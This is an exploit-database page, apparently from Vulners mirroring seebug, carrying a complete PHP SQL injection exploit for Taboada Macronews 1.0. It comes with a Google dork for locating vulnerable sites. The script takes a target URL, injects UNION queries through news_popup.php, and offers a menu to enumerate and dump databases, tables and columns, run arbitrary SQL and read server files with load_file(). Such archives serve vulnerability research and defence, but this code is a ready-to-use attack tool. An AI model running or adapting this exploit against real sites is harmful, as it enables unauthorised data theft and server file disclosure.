Lucene search
K

Taboada Macronews <= 1.0 - SQLi Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 34 Views

Taboada Macronews <= 1.0 SQL Injection Exploit. By WhiteCollarGroup. Enter website URL and check for SQL Injection vulnerability. Main menu options to browse MySQL, run SQL queries, read files and check database tables and columns

Code

                                                &#60;?php
/*
# Exploit Title: Taboada Macronews &#60;= 1.0 SQLi Exploit
# Date: 03rd January 2013
# Exploit Author: WhiteCollarGroup
# Software Link: http://www.scriptbrasil.com.br/download/codigo/7144/
# Version: 1.0
# Google Dork: intext:&#34;Powered by: joaotaboada.com&#34;

Usage:
    php filename.php
*/

function puts($str) {
    echo $str.&#34;\n&#34;;
}
 
function gets() {
    return trim(fgets(STDIN));
}
  
function hex($string){
    $hex=&#39;&#39;; // PHP &#39;Dim&#39; =]
    for ($i=0; $i &#60; strlen($string); $i++){
        $hex .= dechex(ord($string[$i]));
    }
    return &#39;0x&#39;.$hex;
}
 
$token = uniqid();
$token_hex = hex($token);
 
puts(&#34;Taboada Macronews &#60;= 1.0 SQL Injection Exploit&#34;);
puts(&#34;By WhiteCollarGroup (0KaL miss all of you guys)&#34;);
 
puts(&#34;[?] Enter website URL (e. g.: http://www.target.com/taboada/):&#34;);
$target = gets();
 
puts(&#34;[*] Checking...&#34;);
if(!@file_get_contents($target)) die(&#34;[!] Access error: check domain and path.&#34;);
 puts(&#34;[.] Connected.&#34;);
if(substr($target, (strlen($target)-1))!=&#34;/&#34;) $target .= &#34;/&#34;;
 
function runquery($query) {
    global $target,$token,$token_hex;
     
    $query = preg_replace(&#34;/;$/&#34;, null, $query);
     
    $query = urlencode($query);
    $rodar = $target . &#34;news_popup.php?id=&#39;%20UNION%20ALL%20SELECT%201,2,3,concat($token_hex,%28$query%29,$token_hex),5,6,7,8--%20&#34;;
//    die($rodar);
    $get = file_get_contents($rodar);
    $matches = array();
    preg_match_all(&#34;/$token(.*)$token/&#34;, $get, $matches);
    if(isset($matches[1][0]))
        return $matches[1][0];
    else
        return false;
}
 
if(runquery(&#34;SELECT $token_hex&#34;)!=$token) {
    puts(&#34;[!] Couldn&#39;t get data&#34;);
    exit;
}

puts(&#34;[i] MySQL version is &#34;.runquery(&#34;SELECT version()&#34;));
puts(&#34;[i] MySQL user is &#34;.runquery(&#34;SELECT user()&#34;));
 
function main($msg=null) {
    global $token,$token_hex;
     
    echo &#34;\n&#34;.$msg.&#34;\n&#34;;
    puts(&#34;[&#62;] MAIN MENU&#34;);
    puts(&#34;[1] Browse MySQL&#34;);
    puts(&#34;[2] Run SQL Query&#34;);
    puts(&#34;[3] Read file&#34;);
    puts(&#34;[4] About&#34;);
    puts(&#34;[0] Exit&#34;);
    $resp = gets();
 
    if($resp==&#34;0&#34;)
        exit;
    elseif($resp==&#34;1&#34;) {
         
        // pega dbs
        $i = 0;
        puts(&#34;[.] Getting databases:&#34;);
        while(true) {
            $pega = runquery(&#34;SELECT schema_name FROM information_schema.schemata LIMIT $i,1&#34;);
            if($pega)
                puts(&#34; - &#34;.$pega);
            else
                break;
                 
            $i++;
        }
         
        puts(&#34;[!] Current database: &#34;.runquery(&#34;SELECT database()&#34;));
        puts(&#34;[?] Enter database name for select:&#34;);
        $own = array();
        $own[&#39;db&#39;] = gets();
        $own[&#39;dbh&#39;] = hex($own[&#39;db&#39;]);
         
        // pega tables da db
        $i = 0;
        puts(&#34;[.] Getting tables from $own[db]:&#34;);
        while(true) {
            $pega = runquery(&#34;SELECT table_name FROM information_schema.tables WHERE table_schema=$own[dbh] LIMIT $i,1&#34;);
            if($pega)
                puts(&#34; - &#34;.$pega);
            else
                break;
                 
            $i++;
        }
        puts(&#34;[?] Enter table name for select:&#34;);
        $own[&#39;tb&#39;] = gets();
        $own[&#39;tbh&#39;] = hex($own[&#39;tb&#39;]);
         
        // pega colunas da table
        $i = 0;
        puts(&#34;[.] Getting columns from $own[db].$own[tb]:&#34;);
        while(true) {
            $pega = runquery(&#34;SELECT column_name FROM information_schema.columns WHERE table_schema=$own[dbh] AND table_name=$own[tbh] LIMIT $i,1&#34;);
            if($pega)
                puts(&#34; - &#34;.$pega);
            else
                break;
                 
            $i++;
        }
        puts(&#34;[?] Enter columns name, separated by commas (\&#34;,\&#34;) for select:&#34;);
        $own[&#39;cl&#39;] = explode(&#34;,&#34;, gets());
         
        // pega dados das colunas
         
        foreach($own[&#39;cl&#39;] as $coluna) {
            $i = 0;
            puts(&#34;[=] Column: $coluna&#34;);
            while(true) {
                $pega = runquery(&#34;SELECT $coluna FROM $own[db].$own[tb] LIMIT $i,1&#34;);
                if($pega) {
                    puts(&#34; - $pega&#34;);
                    $i++;
                } else
                    break;
            }
             
            echo &#34;\n[ ] -+-\n&#34;;
        }
         
        main();
         
    } elseif($resp==&#34;2&#34;) {
        puts(&#34;[~] RUN SQL QUERY&#34;);
        puts(&#34;[!] You can run a SQL code. It can returns a one-line and one-column content. You can also use concat() or group_concat().&#34;);
        puts(&#34;[?] Query (enter for exit): &#34;);
        $query = gets();
        if(!$query) main();
        else main(runquery($query.&#34;\n&#34;));
    } elseif($resp==&#34;3&#34;) {
        puts(&#34;[?] File path (may not have priv):&#34;);
        $file = hex(gets());
        $le = runquery(&#34;SELECT load_file($file) AS wc&#34;);
        if($le)
            main($le);
        else
            main(&#34;File not found, empty or no priv!&#34;);
             
    } elseif($resp==&#34;4&#34;) {
        puts(&#34;Coded by 0KaL @ WhiteCollarGroup&#34;);
        puts(&#34;tinyurl.com/WCollarGroup&#34;);
        main();
    }
    else
        main(&#34;[!] Wrong choice.&#34;);
}
 
main();
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation